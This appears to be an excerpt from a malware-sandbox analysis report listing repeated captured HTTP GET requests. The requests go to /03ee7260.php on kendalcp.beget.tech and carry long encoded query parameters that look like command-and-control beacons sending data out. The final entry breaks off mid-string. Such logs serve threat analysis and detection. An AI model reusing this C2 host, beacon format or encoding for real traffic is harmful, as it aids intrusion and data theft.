Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYm